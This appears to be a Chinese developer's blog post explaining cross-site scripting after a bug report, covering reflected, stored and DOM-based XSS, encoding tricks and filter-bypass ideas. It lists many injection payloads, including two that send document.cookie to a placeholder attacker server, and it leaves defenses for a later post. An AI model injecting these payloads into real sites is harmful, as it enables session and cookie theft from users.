前言:昨天收到老大投递的一个bug,说我们项目里面被检查出来有XSS漏洞。
纳尼?前天学习JWT的时候恰好扩展性的看了一下XSS和CSXF攻击,结果就收到bug,好吧,又有素材写文章啦,欧耶🙄。
首先XSS攻击是个啥?
百度百科爸爸说:XSS(Cross Site Scripting)攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
简单来说:就是人家在你的页面上注入了一些恶意代码,从而获取你的网站的一些私密信息或者权限。(类似sql注入)
XSS种类
-
反射型(非持久型)XSS
诱导用户访问恶意链接使目标服务器使用恶意参数或者代码来造成一次性攻击
例如:
链接 http://www.abc.com/query/goods?cate=<script>alert(1)</script>
一些浏览器(比如chrome)内置了一些XSS过滤器可以防止攻击。 -
存储型(持久型)XSS
将恶意脚本代码上传或者存储到漏洞服务器
比如在表单里面提交一段脚本,在页面查询的时候那段脚本得到了执行完成了攻击。 -
DOM-Based型XSS
通过改变页面DOM结构,使得攻击代码得到执行。
例如:
1、一个聊天页面,假设会话内容里面的对话气泡是用div来进行展示的,黑客同学在对话框里面输入这样的数据就可以执行他的恶意代码:
<script>$.ajax({type:"GET",url:"xss服务器的url",dataType: "json",data:{cookie:document.cookie},success: function () {},error : function(){}});</script>
//脚本被填充到会话气泡里面时,攻击脚本可以直接执行
2、一个表单里面有一个追加的逻辑,由文本框input和按钮组成,在点击确认追加按钮之后,输入框a的值被放到另外一个disable了的输入框b中,黑客同学在文本框里面输入这样的代码就可实现XSS攻击
"/><script>$.ajax({type:"GET",url:"xss服务器的url",dataType: "json",data:{cookie:document.cookie},success: function () {},error : function(){}});</script> <input id="aa
//我们知道数据是会被放到input标签里面的value值中去的,
//所以我们先用"把value属性给关闭掉,再用/>把input标签给关闭掉,
//在加上我们的攻击脚本,在加上<input id="aa去连接input的后半部分,
//通过把一个input拆成input+js攻击脚本+input的方式去实现我们的目标
在开始一番BB之前,让我们先来了解一些冷知识
html编码
常用的一般是:
十进制:<>
十六进制:<>
别名: <>©&newLine;:
具体的特殊符号别名编码对照参考这个表:https://www.jb51.net/onlineread/htmlchar.htm
注意:不同进制之间是可以混用的
例如下面的三句代码是可以等价的:
<img src onerror=alert(1)>
<img src onerror=alert(1)>
<img src onerror=alert(1)>
js编码
八进制 \1\2 斜杠加数字
十六进制 \x1\x6e 斜杠x加数字
unicode \u0061\u006c 斜杠u加数字
url编码
encodeURI / decodeURI
encodeURIComponent / decodeURIComponent
escape / unescape
Base64编码
<a href=data:text/html;base64,amF2YXNjcmlwdDphbGVydCgxKTs=>bite me</a>
等价于
<a href='javascript:alert(1);'>bite me</a>
你有留意过一个html标签的组成么?
示例.jpg- ①处可以插入任意回车、空格、/
- ②处可以加改属性,html便签中如果有两个属性,以第一个为准
- ③处可以 http https ftp mailto data javascript vbscript 等各种协议的url
- ④处可以是 双引号 单引号 反引号 没有引号
- ⑤处可以是 任意js,此处可以直接访问document作用域,字符可以被html转译
- ⑥处可以不结尾
了解完这些小知识之后你是不是猜到了什么呢,😊
是的,我的亲爱的朋友们,xss攻击就是利用这些小知识想尽一切办法把攻击代码注入到你的页面并让他执行。
举多一点例子来说
他可以在你的页面输入这些来执行他的攻击代码
文本域
比如我们在商品评论框里面输入这样的评论,提交之后,页面刷新展示我们的评论的时候就会执行我们的攻击代码
<img src onerror="攻击代码"> //因为没有地址,从而触发onerror事件
<svg onload="攻击代码"></svg> //矢量便签 ,页面加载就自动执行
<script>"攻击代码"</script> //直接执行
<script>$.ajax({type:"GET",url:"xss服务器的url",dataType: "jsuccess: function () {},error : function(){}});</script> //直接执行
<a href="javascript:alert("GG")">点击我试试</a>//或者设置成超大的透明,用户一点到就GG
<input onfocus="攻击代码" autofocus> //这种需要你点一下,当你的光标离开文本框,autofocus会自动聚焦导致onfocus事件执行
</textarea><script>alert("GG")</script>//提前把文本域结束掉,使后面的javascript变成有效荷载
如果是文本框,也可以这样注入我们的攻击代码
/><script>alert("GG")</script>//提前把文本框结束掉,使后面的javascript变成有效荷载
有的服务器会对用户提交的数据做处理,但是也同样有应对方案
- 有的会加注释
--><script>alert("GG")</script>//提前把注释结束掉(用--!>也可以),使后面的javascript变成有效荷载
- 有的服务器会对用户输入的数据中的敏感字符进行转义,正则过滤啥的
但是也可以通过加换行;编码替换;提前闭合标签等等之类的猥琐绕过。
总而言之
身为一个搬砖工具人,平时除了忙着护发改(xie)bug,还要和产品经理斗志斗勇,还得时刻准备接收测试小姐姐甩过来的缺陷,真的很少有精力考虑到那些来自外部的伤害,经过这一次,我觉得自己以后会多多注意,again,我们真的太难了。
哦,BB了这么多,我是不是没有讲怎么去防御XSS攻击,哈哈,留到下一篇吧,这篇字数凑够了😊。
网友评论